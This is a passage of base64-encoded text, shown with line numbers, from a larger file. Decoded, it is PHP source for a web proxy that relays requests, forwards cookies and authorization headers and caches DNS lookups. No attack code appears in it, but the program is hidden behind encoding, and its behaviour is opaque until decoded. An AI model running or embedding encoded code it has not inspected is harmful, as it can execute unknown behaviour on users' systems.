  1404. IH19fQoKIyBQUk9YWSBGVU5DVElPTlM6IEhUVFAge3t7CgpmdW5jdGlvbiBodHRwY2xlYW4oJHN0
  1405. cil7IHJldHVybiBzdHJfcmVwbGFjZSgnICcsJysnLHByZWdfcmVwbGFjZSgnLyhbXiI6XC1fXC4w
  1406. LTlhLXogXSkvaWUnLCdcJyVcJy4oc3RybGVuKGRlY2hleChvcmQoXCdcMVwnKSkpPT0xP1wnMFwn
  1407. Om51bGwpLnN0cnRvdXBwZXIoZGVjaGV4KG9yZChcJ1wxXCcpKSknLCRzdHIpKTsgfQoKZnVuY3Rp
  1408. b24gZ2V0cGFnZSgkdXJsKXsKCWdsb2JhbCAkaGVhZGVycywkb3V0LCRwb3N0X3ZhcnMsJHByb3h5
  1409. X3ZhcmlhYmxlcywkcmVmZXJlcjsKCgkkdXJsb2JqPW5ldyBhdXJsKCR1cmwpOwoJJHF1ZXJ5PSR1
  1410. cmxvYmotPmdldF9xdWVyeSgpOwoJJHJlcXVybD0kdXJsb2JqLT5nZXRfcGF0aCgpLiR1cmxvYmot
  1411. PmdldF9maWxlKCkuKCFlbXB0eSgkcXVlcnkpPyI/eyRxdWVyeX0iOm51bGwpOwoKCSRodHRwX2F1
  1412. dGg9bnVsbDsKCWlmKGV4dGVuc2lvbl9sb2FkZWQoJ2FwYWNoZScpKXsKCQkkZmFpbD1mYWxzZTsK
  1413. CQkkY2hlYWRlcnM9Z2V0YWxsaGVhZGVycygpOwoJCSRodHRwX2F1dGg9JHJlcWFycmF5WydBdXRo
  1414. b3JpemF0aW9uJ107Cgl9CgllbHNlICRmYWlsPXRydWU7CgoJJGF1dGhvcml6YXRpb249KCRmYWls
  1415. PyRfU0VSVkVSWydIVFRQX0FVVEhPUklaQVRJT04nXTokY2hlYWRlcnNbJ0F1dGhvcml6YXRpb24n
  1416. XSk7CgkkY2FjaGVfY29udHJvbD0oJGZhaWw/JF9TRVJWRVJbJ0hUVFBfQ0FDSEVfQ09OVFJPTCdd
  1417. OiRjaGVhZGVyc1snQ2FjaGUtQ29udHJvbCddKTsKCSRpZl9tb2RpZmllZD0oJGZhaWw/JF9TRVJW
  1418. RVJbJ0hUVFBfSUZfTU9ESUZJRURfU0lOQ0UnXTokY2hlYWRlcnNbJ0lmLU1vZGlmaWVkLVNpbmNl
  1419. J10pOwoJJGlmX25vbmVfbWF0Y2g9KCRmYWlsPyRfU0VSVkVSWydIVFRQX0lGX05PTkVfTUFUQ0gn
  1420. XTokY2hlYWRlcnNbJ0lmLU5vbmUtTWF0Y2gnXSk7CgoJaWYoJGZhaWwpewoJCWlmKCFlbXB0eSgk
  1421. YXV0aG9yaXphdGlvbikpICRodHRwX2F1dGg9JGF1dGhvcml6YXRpb247CgkJZWxzZWlmKCFlbXB0
  1422. eSgkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddKSAmJiAhZW1wdHkoJF9TRVJWRVJbJ1BIUF9BVVRI
  1423. X1BXJ10pKQoJCQkkaHR0cF9hdXRoPSdCYXNpYyAnLmJhc2U2NF9lbmNvZGUoInskX1NFUlZFUlsn
  1424. UEhQX0FVVEhfVVNFUiddfTp7JF9TRVJWRVJbJ1BIUF9BVVRIX1BXJ119Iik7CgkJZWxzZWlmKCFl
  1425. bXB0eSgkX1NFUlZFUlsnUEhQX0FVVEhfRElHRVNUJ10pKSAkaHR0cF9hdXRoPSJEaWdlc3QgeyRf
  1426. U0VSVkVSWydQSFBfQVVUSF9ESUdFU1QnXX0iOwoJfQoKCWlmKFBJUCE9bnVsbCAmJiBQUE9SVCE9
  1427. bnVsbCl7CgkJJHNlcnZlcm5hbWU9UElQOwoJCSRpcGFkZHJlc3M9Z2V0X2NoZWNrKFBJUCk7CgkJ
  1428. JHBvcnR2YWw9UFBPUlQ7CgkJJHJlcXVybD0kdXJsb2JqLT5nZXRfdXJsKGZhbHNlKTsKCX0KCWVs
  1429. c2V7CgkJJHNlcnZlcm5hbWU9JHVybG9iai0+Z2V0X3NlcnZlcm5hbWUoKTsKCQkkaXBhZGRyZXNz
  1430. PSgkdXJsb2JqLT5nZXRfcHJvdG8oKT09J3NzbCcgfHwgJHVybG9iai0+Z2V0X3Byb3RvKCk9PSdo
  1431. dHRwcyc/J3NzbDovLyc6bnVsbCkuZ2V0X2NoZWNrKCRzZXJ2ZXJuYW1lKTsKCQkkcG9ydHZhbD0k
  1432. dXJsb2JqLT5nZXRfcG9ydHZhbCgpOwoJfQoKCSRvdXQ9InskX1NFUlZFUlsnUkVRVUVTVF9NRVRI
  1433. T0QnXX0gIi5zdHJfcmVwbGFjZSgnICcsJyUyMCcsJHJlcXVybCkuIiBIVFRQLzEuMVxyXG5Ib3N0
  1434. OiAiLiR1cmxvYmotPmdldF9zZXJ2ZXJuYW1lKCkuKCgkcG9ydHZhbCE9ODAgJiYgKCR1cmxvYmot
  1435. PmdldF9wcm90bygpPT0naHR0cHMnPyRwb3J0dmFsIT00NDM6dHJ1ZSkpPyI6JHBvcnR2YWwiOm51
  1436. bGwpLiJcclxuIjsKCglnbG9iYWwgJHVzZXJhZ2VudDsKCSR1c2VyYWdlbnQ9bnVsbDsKCWlmKCRf
  1437. Q09PS0lFW0NPT0tfUFJFRi4nX3VzZXJhZ2VudCddIT0nLTEnKXsKCQkkdXNlcmFnZW50PSRfQ09P
  1438. S0lFW0NPT0tfUFJFRi4nX3VzZXJhZ2VudCddOwoJCWlmKGVtcHR5KCR1c2VyYWdlbnQpKSAkdXNl
  1439. cmFnZW50PSRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTsKCQkkdXNlcmFnZW50X2Nvb2s9KCR1
  1440. c2VyYWdlbnQ9PTE/JF9DT09LSUVbQ09PS19QUkVGLidfdXNlcmFnZW50dGV4dCddOiR1c2VyYWdl
  1441. bnQpOwoJCWlmKCFlbXB0eSgkdXNlcmFnZW50X2Nvb2spKSAkb3V0Lj0iVXNlci1BZ2VudDogJHVz
  1442. ZXJhZ2VudF9jb29rXHJcbiI7Cgl9CglpZighZW1wdHkoJGh0dHBfYXV0aCkpICRvdXQuPSJBdXRo
  1443. b3JpemF0aW9uOiAkaHR0cF9hdXRoXHJcbiI7CgoJaWYoZW1wdHkoJF9DT09LSUVbQ09PS19QUkVG
  1444. LidfcmVtb3ZlX3JlZmVyZXInXSkgJiYgIWVtcHR5KCRyZWZlcmVyKSkgJG91dC49J1JlZmVyZXI6
  1445. ICcuc3RyX3JlcGxhY2UoJyAnLCcrJywkcmVmZXJlcikuIlxyXG4iOwoJaWYoJF9TRVJWRVJbJ1JF
  1446. UVVFU1RfTUVUSE9EJ109PSdQT1NUJykgJG91dC49J0NvbnRlbnQtTGVuZ3RoOiAnLnN0cmxlbigk
  1447. cG9zdF92YXJzKS4iXHJcbkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxl
  1448. bmNvZGVkXHJcbiI7CgoJJGNvb2tfcHJlZmRvbWFpbj1wcmVnX3JlcGxhY2UoJy9ed3d3XC4vaScs
  1449. bnVsbCwkdXJsb2JqLT5nZXRfc2VydmVybmFtZSgpKTsgIyoKCSRjb29rX3ByZWZpeD1zdHJfcmVw
  1450. bGFjZSgnLicsJ18nLCRjb29rX3ByZWZkb21haW4pLkNPT0tJRV9TRVBBUkFUT1I7CglpZihjb3Vu
  1451. dCgkX0NPT0tJRSk+MCAmJiBlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19yZW1vdmVfY29va2ll
  1452. cyddKSl7CgkJJGFkZHRvb3V0PW51bGw7CgkJcmVzZXQoJF9DT09LSUUpOwoJCXdoaWxlKGxpc3Qo
  1453. JGtleSwkdmFsKT1lYWNoKCRfQ09PS0lFKSl7CgkJCWlmKEVOQ1JZUFRfQ09PS1MpewoJCQkJJGtl
  1454. eT1wcm94ZGVjKCRrZXkpOwoJCQkJJHZhbD1wcm94ZGVjKCR2YWwpOyAjdXJsZGVjb2RlKCR2YWwp
  1455. KTsKCQkJfQoJCQlpZihzdHJfcmVwbGFjZShDT09LSUVfU0VQQVJBVE9SLG51bGwsJGtleSk9PSRr
  1456. ZXkpIGNvbnRpbnVlOwoJCQkjJGNvb2tfZG9tYWluPXByZWdfcmVwbGFjZSgnL14oLionLkNPT0tJ
  1457. RV9TRVBBUkFUT1IuJykuKiQvJywnXDEnLCRrZXkpOyAjKioKCQkJJGNvb2tfZG9tYWluPXN1YnN0
  1458. cigka2V5LDAsc3RycG9zKCRrZXksQ09PS0lFX1NFUEFSQVRPUikpLkNPT0tJRV9TRVBBUkFUT1I7
  1459. CgkJCWlmKHN1YnN0cigkY29va19wcmVmaXgsc3RybGVuKCRjb29rX3ByZWZpeCktc3RybGVuKCRj
  1460. b29rX2RvbWFpbiksc3RybGVuKCRjb29rX2RvbWFpbikpIT0kY29va19kb21haW4pIGNvbnRpbnVl
  1461. OwoJCQkka2V5PXN1YnN0cigka2V5LHN0cmxlbigkY29va19kb21haW4pLHN0cmxlbigka2V5KS1z
  1462. dHJsZW4oJGNvb2tfZG9tYWluKSk7CgkJCWlmKCFpbl9hcnJheSgka2V5LCRwcm94eV92YXJpYWJs
  1463. ZXMpKSAkYWRkdG9vdXQuPSIgJGtleT0kdmFsOyI7CgkJfQoJCWlmKCFlbXB0eSgkYWRkdG9vdXQp
  1464. KXsKCQkJJGFkZHRvb3V0Lj0iXHJcbiI7CgkJCSRvdXQuPSJDb29raWU6eyRhZGR0b291dH0iOwoJ
  1465. CX0KCX0KCgkkb3V0Lj0iQWNjZXB0OiAqLyo7cT0wLjFcclxuIi4KCSAgICAgIChHWklQX1BST1hZ
  1466. X1NFUlZFUj8iQWNjZXB0LUVuY29kaW5nOiBnemlwXHJcbiI6bnVsbCkuCgkgICAgICAvLyJBY2Nl
  1467. cHQtQ2hhcnNldDogSVNPLTg4NTktMSx1dGYtODtxPTAuMSwqO3E9MC4xXHJcbiIuCgkgICAgICAv
  1468. Ki8KCSAgICAgICJLZWVwLUFsaXZlOiAzMDBcclxuIi4KCSAgICAgICJDb25uZWN0aW9uOiBrZWVw
  1469. LWFsaXZlXHJcbiIuICAgICAgICAgICAgICAgICAgICAgICAgICAvKi8KCSAgICAgICJDb25uZWN0
  1470. aW9uOiBjbG9zZVxyXG4iLiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAvLyovCgkgICAg
  1471. ICAoJGNhY2hlX2NvbnRyb2whPW51bGw/IkNhY2hlLUNvbnRyb2w6ICRjYWNoZV9jb250cm9sXHJc
  1472. biI6bnVsbCkuCgkgICAgICAoJGlmX21vZGlmaWVkIT1udWxsPyJJZi1Nb2RpZmllZC1TaW5jZTog
  1473. JGlmX21vZGlmaWVkXHJcbiI6bnVsbCkuCgkgICAgICAoJGlmX25vbmVfbWF0Y2ghPW51bGw/Iklm
  1474. LU5vbmUtTWF0Y2g6ICRpZl9ub25lX21hdGNoXHJcbiI6bnVsbCkuCgkgICAgICAiXHJcbnskcG9z
  1475. dF92YXJzfSIKCTsKCgkvLyBUaGlzIHBhcnQgaWdub3JlcyBhbnkgIlNTTDogZmF0YWwgcHJvdG9j
  1476. b2wgZXJyb3IiIGVycm9ycywgYW5kIG1ha2VzIHN1cmUgb3RoZXIgZXJyb3JzIGFyZSBzdGlsbCB0
  1477. cmlnZ2VyZWQgY29ycmVjdGx5CglmdW5jdGlvbiBlcnJvckhhbmRsZSgkZXJybm8sJGVycm1zZyl7
  1478. CgkJaWYoJGVycm5vPD1FX1BBUlNFICYmICgkZXJybm8hPUVfV0FSTklORyB8fCBzdWJzdHIoJGVy
  1479. cm1zZywtMjUpIT0nU1NMOiBmYXRhbCBwcm90b2NvbCBlcnJvcicpKXsKCQkJcmVzdG9yZV9lcnJv
  1480. cl9oYW5kbGVyKCk7CgkJCXRyaWdnZXJfZXJyb3IoJGVycm1zZywkZXJybm88PDgpOwoJCQlzZXRf
  1481. ZXJyb3JfaGFuZGxlcignZXJyb3JIYW5kbGUnKTsKCQl9Cgl9CglzZXRfZXJyb3JfaGFuZGxlcign
  1482. ZXJyb3JIYW5kbGUnKTsKCgkkZnA9QGZzb2Nrb3BlbigkaXBhZGRyZXNzLCRwb3J0dmFsLCRlcnJu
  1483. bywkZXJydmFsLDUpIG9yIGhhdm9rKDYsJHNlcnZlcm5hbWUsJHBvcnR2YWwpOwoJc3RyZWFtX3Nl
  1484. dF90aW1lb3V0KCRmcCw1KTsKCSMgZm9yIHBlcnNpc3RlbnQgY29ubmVjdGlvbnMsIHRoaXMgbWF5
  1485. IGJlIG5lY2Vzc2FyeQoJLyoKCSR1Yj1zdHJlYW1fZ2V0X21ldGFfZGF0YSgkZnApOwoJJHViPSR1
  1486. YlsndW5yZWFkX2J5dGVzJ107CglpZigkdWI+MCkgZnJlYWQoJGZwLCR1Yik7CgkqLwoJZndyaXRl
  1487. KCRmcCwkb3V0KTsKCgkkcmVzcG9uc2U9JzEwMCc7Cgl3aGlsZSgkcmVzcG9uc2U9PScxMDAnKXsK
  1488. CQkkcmVzcG9uc2VsaW5lPWZnZXRzKCRmcCw4MTkyKTsKCQkkcmVzcG9uc2U9c3Vic3RyKCRyZXNw
  1489. b25zZWxpbmUsOSwzKTsKCgkJJGhlYWRlcnM9YXJyYXkoKTsKCQl3aGlsZSgkY3VybGluZSE9Ilxy
  1490. XG4iICYmICRjdXJsaW5lPWZnZXRzKCRmcCw4MTkyKSl7CgkJCSRoYXJyPWV4cGxvZGUoJzonLCRj
  1491. dXJsaW5lLDIpOwoJCQkkaGVhZGVyc1tzdHJ0b2xvd2VyKCRoYXJyWzBdKV1bXT10cmltKCRoYXJy
  1492. WzFdKTsKCQl9Cgl9CgoJI2lmKCRoZWFkZXJzWydwcmFnbWEnXVswXT09bnVsbCkgaGVhZGVyKCdQ
  1493. cmFnbWE6IHB1YmxpYycpOwoJI2lmKCRoZWFkZXJzWydjYWNoZS1jb250cm9sJ11bMF09PW51bGwp
  1494. IGhlYWRlcignQ2FjaGUtQ29udHJvbDogcHVibGljJyk7CgkjaWYoJGhlYWRlcnNbJ2xhc3QtbW9k
  1495. aWZpZWQnXVswXT09bnVsbCAmJiAkaGVhZGVyc1snZXhwaXJlcyddPT1udWxsKSBoZWFkZXIoJ0V4
  1496. cGlyZXM6ICcuZGF0ZSgnRCwgZCBNIFkgSDppOnMgZScsdGltZSgpKzg2NDAwKSk7CgoJIyByZWFk
  1497. IGFuZCBzdG9yZSBjb29raWVzCglpZihlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19yZW1vdmVf
  1498. Y29va2llcyddKSl7CgkJZm9yKCRpPTA7JGk8Y291bnQoJGhlYWRlcnNbJ3NldC1jb29raWUnXSk7
  1499. JGkrKyl7CgkJCSR0aGlzY29vaz1leHBsb2RlKCc9JywkaGVhZGVyc1snc2V0LWNvb2tpZSddWyRp
  1500. XSwyKTsKCQkJaWYoIXN0cnBvcygkdGhpc2Nvb2tbMV0sJzsnKSkgJHRoaXNjb29rWzFdLj0nOyc7
  1501. CgkJCSRjb29rX3ZhbD1zdWJzdHIoJHRoaXNjb29rWzFdLDAsc3RycG9zKCR0aGlzY29va1sxXSwn
  1502. OycpKTsKCQkJJGNvb2tfZG9tYWluPXByZWdfcmVwbGFjZSgnL14uKmRvbWFpbj1bCSBdKlwuPyhb
  1503. XjtdKykuKj8kL2knLCdcMScsJHRoaXNjb29rWzFdKTsgIyoKCQkJaWYoJGNvb2tfZG9tYWluPT0k
  1504. dGhpc2Nvb2tbMV0pICRjb29rX2RvbWFpbj0kY29va19wcmVmZG9tYWluOwoJCQllbHNlaWYoc3Vi
  1505. c3RyKCRjb29rX3ByZWZkb21haW4sc3RybGVuKCRjb29rX3ByZWZkb21haW4pLXN0cmxlbigkY29v
  1506. a19kb21haW4pLHN0cmxlbigkY29va19kb21haW4pKSE9JGNvb2tfZG9tYWluKSBjb250aW51ZTsK
  1507. CQkJJGNvb2tfbmFtZT1zdHJfcmVwbGFjZSgnLicsJ18nLCRjb29rX2RvbWFpbikuQ09PS0lFX1NF
  1508. UEFSQVRPUi4kdGhpc2Nvb2tbMF07CgkJCWlmKEVOQ1JZUFRfQ09PS1MpewoJCQkJJGNvb2tfbmFt
  1509. ZT1wcm94ZW5jKCRjb29rX25hbWUpOwoJCQkJJGNvb2tfdmFsPXByb3hlbmMoJGNvb2tfdmFsKTsK
  1510. CQkJfQoJCQlkb3NldGNvb2tpZSgkY29va19uYW1lLCRjb29rX3ZhbCk7CgkJfQoJfQoKCWlmKCRy
  1511. ZXNwb25zZXswfT09JzMnICYmICRyZXNwb25zZXsxfT09JzAnICYmICRyZXNwb25zZXsyfSE9JzQn
  1512. KXsKCQkkdXJsb2JqPW5ldyBhdXJsKCR1cmwpOwoJCSRyZWRpcnVybD1mcmFtaWZ5X3VybChzdXJy
  1513. b2dhZnlfdXJsKCRoZWFkZXJzWydsb2NhdGlvbiddWzBdLCR1cmxvYmopLE5FV19QQUdFVFlQRV9G
  1514. UkFNRURfUEFHRSk7CgoJCWZjbG9zZSgkZnApOwoJCXJlc3RvcmVfZXJyb3JfaGFuZGxlcigpOwoK
  1515. CQlmaW5pc2hfbm9leGl0KCk7CgkJaGVhZGVyKCJMb2NhdGlvbjogeyRyZWRpcnVybH0iKTsKCQll
  1516. eGl0KCk7Cgl9CgoJJG9oZWFkZXJzPSRoZWFkZXJzOwoJJG9oZWFkZXJzWydsb2NhdGlvbiddPSRv
  1517. aGVhZGVyc1snY29udGVudC1sZW5ndGgnXT0kb2hlYWRlcnNbJ2NvbnRlbnQtZW5jb2RpbmcnXT0K
  1518. CSRvaGVhZGVyc1snc2V0LWNvb2tpZSddPSRvaGVhZGVyc1sndHJhbnNmZXItZW5jb2RpbmcnXT0k
  1519. b2hlYWRlcnNbJ2Nvbm5lY3Rpb24nXT0KCSRvaGVhZGVyc1sna2VlcC1hbGl2ZSddPSRvaGVhZGVy
  1520. c1sncHJhZ21hJ109JG9oZWFkZXJzWydjYWNoZS1jb250cm9sJ109JG9oZWFkZXJzWydleHBpcmVz
  1521. J109bnVsbDsKCgl3aGlsZShsaXN0KCRrZXksJHZhbCk9ZWFjaCgkb2hlYWRlcnMpKSBpZighZW1w
  1522. dHkoJHZhbFswXSkpIGhlYWRlcigieyRrZXl9OiB7JHZhbFswXX0iKTsKCXVuc2V0KCRvaGVhZGVy
  1523. cyk7CgloZWFkZXIoIlN0YXR1czogeyRyZXNwb25zZX0iKTsKCglpZihzdWJzdHIoJGhlYWRlcnNb
  1524. J2NvbnRlbnQtdHlwZSddWzBdLDAsNCk9PSd0ZXh0JyB8fCBzdWJzdHIoJGhlYWRlcnNbJ2NvbnRl
  1525. bnQtdHlwZSddWzBdLDAsMjQpPT0nYXBwbGljYXRpb24veC1qYXZhc2NyaXB0Jyl7CgkJJGp1c3Rv
  1526. dXRwdXQ9ZmFsc2U7CgkJJGp1c3RvdXRwdXRub3c9ZmFsc2U7Cgl9CgllbHNlewoJCSRqdXN0b3V0
  1527. cHV0bm93PSgkaGVhZGVyc1snY29udGVudC1lbmNvZGluZyddWzBdPT0nZ3ppcCc/ZmFsc2U6dHJ1
  1528. ZSk7CgkJJGp1c3RvdXRwdXQ9dHJ1ZTsKCX0KCglpZigkaGVhZGVyc1sndHJhbnNmZXItZW5jb2Rp
  1529. bmcnXVswXT09J2NodW5rZWQnKXsKCQkkYm9keT1udWxsOwoJCSRjaHVua3NpemU9bnVsbDsKCQl3
  1530. aGlsZSgkY2h1bmtzaXplIT09MCl7CgkJCSRjaHVua3NpemU9aW50dmFsKGZnZXRzKCRmcCw4MTky
  1531. KSwxNik7CgkJCSRidWZzaXplPSRjaHVua3NpemU7CgkJCXdoaWxlKCRidWZzaXplPj0xKXsKCQkJ
  1532. CSRjaHVuaz1mcmVhZCgkZnAsJGJ1ZnNpemUpOwoJCQkJaWYoJGp1c3RvdXRwdXRub3cpIGVjaG8g
  1533. JGNodW5rOwoJCQkJZWxzZSAkYm9keS49JGNodW5rOwoJCQkJJGJ1ZnNpemUtPXN0cmxlbigkY2h1
  1534. bmspOwoJCQl9CgkJCWZyZWFkKCRmcCwyKTsKCQl9Cgl9CgoJLy8gQ29udGVudC1MZW5ndGggc3R1
  1535. ZmYgLSBjb21tZW50ZWQgZm9yIGV2ZW4gbW9yZSBjaG9jb2xhdGV5IGdvb2RuZXNzCgkvKmVsc2Vp
  1536. ZigkaGVhZGVyc1snY29udGVudC1sZW5ndGgnXVswXSE9bnVsbCl7CgkJJGNvbmxlbj0kaGVhZGVy
  1537. c1snY29udGVudC1sZW5ndGgnXVswXTsKCQkkYm9keT1udWxsOwoJCWZvcigkaT0wOyRpPCRjb25s
  1538. ZW47JGkrPSRyZWFkKXsKCQkJJHJlYWQ9KCRjb25sZW4tJGk8ODE5Mj8kY29ubGVuLSRpOjgxOTIp
  1539. OwoJCQkkYnl0ZT1mcmVhZCgkZnAsJHJlYWQpOwoJCQlpZigkanVzdG91dHB1dG5vdykgZWNobyAk
  1540. Ynl0ZTsKCQkJZWxzZSAkYm9keS49JGJ5dGU7CgkJfQoJfSovCgoJZWxzZXsKCQlpZihmdW5jdGlv
  1541. bl9leGlzdHMoJ3N0cmVhbV9nZXRfY29udGVudHMnKSl7CgkJCWlmKCRqdXN0b3V0cHV0bm93KSBl
  1542. Y2hvIHN0cmVhbV9nZXRfY29udGVudHMoJGZwKTsKCQkJZWxzZSAkYm9keT1zdHJlYW1fZ2V0X2Nv
  1543. bnRlbnRzKCRmcCk7CgkJfQoJCWVsc2V7CgkJCSRib2R5PW51bGw7CgkJCXdoaWxlKHRydWUpewoJ
  1544. CQkJJGNodW5rPWZyZWFkKCRmcCw4MTkyKTsKCQkJCWlmKGVtcHR5KCRjaHVuaykpIGJyZWFrOwoJ
  1545. CQkJaWYoJGp1c3RvdXRwdXRub3cpIGVjaG8gJGNodW5rOwoJCQkJZWxzZSAkYm9keS49JGNodW5r
  1546. OwoJCQl9CgkJfQoJfQoKCWZjbG9zZSgkZnApOwoJcmVzdG9yZV9lcnJvcl9oYW5kbGVyKCk7CgoJ
  1547. aWYoR1pJUF9QUk9YWV9TRVJWRVIgJiYgJGhlYWRlcnNbJ2NvbnRlbnQtZW5jb2RpbmcnXVswXT09
  1548. J2d6aXAnKSAkYm9keT1nemluZmxhdGUoc3Vic3RyKCRib2R5LDEwKSk7CglpZigkanVzdG91dHB1
  1549. dCl7CgkJaWYoISRqdXN0b3V0cHV0bm93KSBlY2hvICRib2R5OwoJCWZpbmlzaCgpOwoJfQoJcmV0
  1550. dXJuIGFycmF5KCRib2R5LCR1cmwsJGNvb2tfcHJlZml4KTsKCn0KCiMgfX19CgojIH19fQoKIyBQ
  1551. Uk9YWSBFWEVDVVRJT04ge3t7CgojIFBST1hZIEVYRUNVVElPTjogVVNFUiBDT09LSUVTIHt7ewoK
  1552. Z2xvYmFsICRwcm94eV92YXJpYWJsZXM7CiRwcm94eV92YXJpYWJsZXM9YXJyYXkoQ09PS19QUkVG
  1553. LENPT0tfUFJFRi4nX3BpcCcsQ09PS19QUkVGLidfcHBvcnQnLENPT0tfUFJFRi4nX3VzZXJhZ2Vu
  1554. dCcsQ09PS19QUkVGLidfdXNlcmFnZW50dGV4dCcsQ09PS19QUkVGLidfdXJsX2Zvcm0nLENPT0tf
  1555. UFJFRi4nX3JlbW92ZV9jb29raWVzJyxDT09LX1BSRUYuJ19yZW1vdmVfcmVmZXJlcicsQ09PS19Q
  1556. UkVGLidfcmVtb3ZlX3NjcmlwdHMnLENPT0tfUFJFRi4nX3JlbW92ZV9vYmplY3RzJyxDT09LX1BS
  1557. RUYuJ19lbmNyeXB0X3VybHMnLENPT0tfUFJFRi4nX2VuY3J5cHRfY29va3MnKTsKCmlmKCRwb3N0
  1558. YW5kZ2V0W0NPT0tfUFJFRi4nX3NldF92YWx1ZXMnXSl7CgkkcHJveHlfdmFyYmxhY2tsaXN0PWFy
  1559. cmF5KENPT0tfUFJFRik7CglpZigkcG9zdGFuZGdldFtDT09LX1BSRUYuJ191c2VyYWdlbnQnXSE9
  1560. JzEnKXsKCQl1bnNldCgkcG9zdGFuZGdldFtDT09LX1BSRUYuJ191c2VyYWdlbnR0ZXh0J10pOwoJ
  1561. CWRvc2V0Y29va2llKENPT0tfUFJFRi4nX3VzZXJhZ2VudHRleHQnLGZhbHNlLDApOwoJfQoJd2hp
  1562. bGUobGlzdCgka2V5LCR2YWwpPWVhY2goJHByb3h5X3ZhcmlhYmxlcykpewoJCWlmKCFpbl9hcnJh
  1563. eSgkdmFsLCRwcm94eV92YXJibGFja2xpc3QpKXsKCQkJZG9zZXRjb29raWUoJHZhbCxmYWxzZSww
  1564. KTsKCQkJaWYoaXNzZXQoJHBvc3RhbmRnZXRbJHZhbF0pICYmICFlbXB0eSgkcG9zdGFuZGdldFsk
  1565. dmFsXSkpIGRvc2V0Y29va2llKCR2YWwsJHBvc3RhbmRnZXRbJHZhbF0pOwoJCX0KCX0KCSR0aGV1
  1566. cmw9ZnJhbWlmeV91cmwoc3Vycm9nYWZ5X3VybChPUklHX1VSTCksUEFHRVRZUEVfRlJBTUVfVE9Q
  1567. KTsKCSMkdGhldXJsPXN1cnJvZ2FmeV91cmwoKEVOQ1JZUFRfVVJMUz9wcm94ZGVjKCR0aGV1cmwp
  1568. OiR0aGV1cmwpLG51bGwpOwoJaGVhZGVyKCJMb2NhdGlvbjogeyR0aGV1cmx9Iik7CglmaW5pc2go
  1569. KTsKfQoKIyB9fX0KCiMgUFJPWFkgRVhFQ1VUSU9OOiBQUk9YWSBHRVQvUE9TVC9DT09LSUVTIHt7
  1570. ewoKZGVmaW5lKCdQSVAnLChGT1JDRV9ERUZBVUxUX1RVTk5FTD8kX0NPT0tJRVtDT09LX1BSRUYu
  1571. J19waXAnXTpERUZBVUxUX1RVTk5FTF9QSVApKTsKZGVmaW5lKCdQUE9SVCcsaW50dmFsKEZPUkNF
  1572. X0RFRkFVTFRfVFVOTkVMPyRfQ09PS0lFW0NPT0tfUFJFRi4nX3Bwb3J0J106REVGQVVMVF9UVU5O
  1573. RUxfUFBPUlQpKTsKCmRlZmluZSgnRU5DUllQVF9DT09LUycsZ2V0aGFyZGF0dHIoJ2VuY3J5cHRf
  1574. Y29va3MnKSk7CgpnbG9iYWwgJHJlZmVyZXI7CmlmKCRfU0VSVkVSWydIVFRQX1JFRkVSRVInXT09
  1575. bnVsbCl7CgkkcmVmdXJsb2JqPW5ldyBhdXJsKCRfU0VSVkVSWydIVFRQX1JFRkVSRVInXSk7Cgkk
  1576. cmVmZXJlcj1wcm94ZGVjKHByZWdfcmVwbGFjZSgnL15bXHNcU10qJy5DT09LX1BSRUYuJz0oW14m
  1577. XSopW1xzXFNdKiQvaScsJ1wxJywkcmVmdXJsb2JqLT5nZXRfcGF0aCgpKSk7ICMqCn0KZWxzZSAk
  1578. cmVmZXJlcj1udWxsOwoKIyRnZXRrZXlzPWFycmF5X2tleXMoJF9HRVQpOwojZm9yZWFjaCgkZ2V0
  1579. a2V5cyBhcyAkZ2V0dmFyKXsgaWYoIWluX2FycmF5KCRnZXR2YXIsJHByb3h5X3ZhcmlhYmxlcykp
  1580. eyAkY3Vycl91cmwuPShzdHJwb3MoJGN1cnJfdXJsLCc/Jyk9PT1mYWxzZT8nPyc6JyYnKS4iJGdl
  1581. dHZhcj0iLnVybGVuY29kZSgkX0dFVFskZ2V0dmFyXSk7IH0gfQoKZ2xvYmFsICRwb3N0X3ZhcnM7
  1582. CiRwb3N0X3ZhcnM9bnVsbDsKJHBvc3RrZXlzPWFycmF5X2tleXMoJF9QT1NUKTsKZm9yZWFjaCgk
  1583. cG9zdGtleXMgYXMgJHBvc3RrZXkpewoJaWYoIWluX2FycmF5KCRwb3N0a2V5LCRwcm94eV92YXJp
  1584. YWJsZXMpKXsKCQlpZighaXNfYXJyYXkoJF9QT1NUWyRwb3N0a2V5XSkpCgkJCSRwb3N0X3ZhcnMu
  1585. PSgkcG9zdF92YXJzIT1udWxsPycmJzpudWxsKS5odHRwY2xlYW4oJHBvc3RrZXkpLic9Jy5odHRw
  1586. Y2xlYW4oJF9QT1NUWyRwb3N0a2V5XSk7CgkJZWxzZXsKCQkJZm9yZWFjaCgkX1BPU1RbJHBvc3Rr
  1587. ZXldIGFzICRwb3N0dmFsKQoJCQkJJHBvc3RfdmFycy49KCRwb3N0X3ZhcnMhPW51bGw/JyYnOm51
  1588. bGwpLmh0dHBjbGVhbigkcG9zdGtleSkuJyU1QiU1RD0nLmh0dHBjbGVhbigkcG9zdHZhbCk7CgkJ
  1589. fQoJfQp9CnVuc2V0KCRwb3N0a2V5cyk7CgojIH19fQoKIyBQUk9YWSBFWEVDVVRJT046IEROUyBD
  1590. QUNIRSB7e3sKCmlmKCFpc3NldCgkX1NFU1NJT05bJ0ROU19DQUNIRV9BUlJBWSddKSkgJGRuc19j
  1591. YWNoZV9hcnJheT1hcnJheSgpOwplbHNlICRkbnNfY2FjaGVfYXJyYXk9JF9TRVNTSU9OWydETlNf
  1592. Q0FDSEVfQVJSQVknXTsKCiMgcHVyZ2Ugb2xkIHJlY29yZHMgZnJvbSBETlMgY2FjaGUKd2hpbGUo
  1593. bGlzdCgka2V5LCRlbnRyeSk9ZWFjaCgkZG5zX2NhY2hlX2FycmF5KSl7CglpZigkZW50cnlbJ3Rp
  1594. bWUnXTx0aW1lKCktKEROU19DQUNIRV9FWFBJUkUqNjApKSB1bnNldCgkZG5zX2NhY2hlX2FycmF5
  1595. WyRrZXldKTsKfQoKIyB9fX0KCiMgUFJPWFkgRVhFQ1VUSU9OOiBQQUdFIFJFVFJJRVZBTCB7e3sK
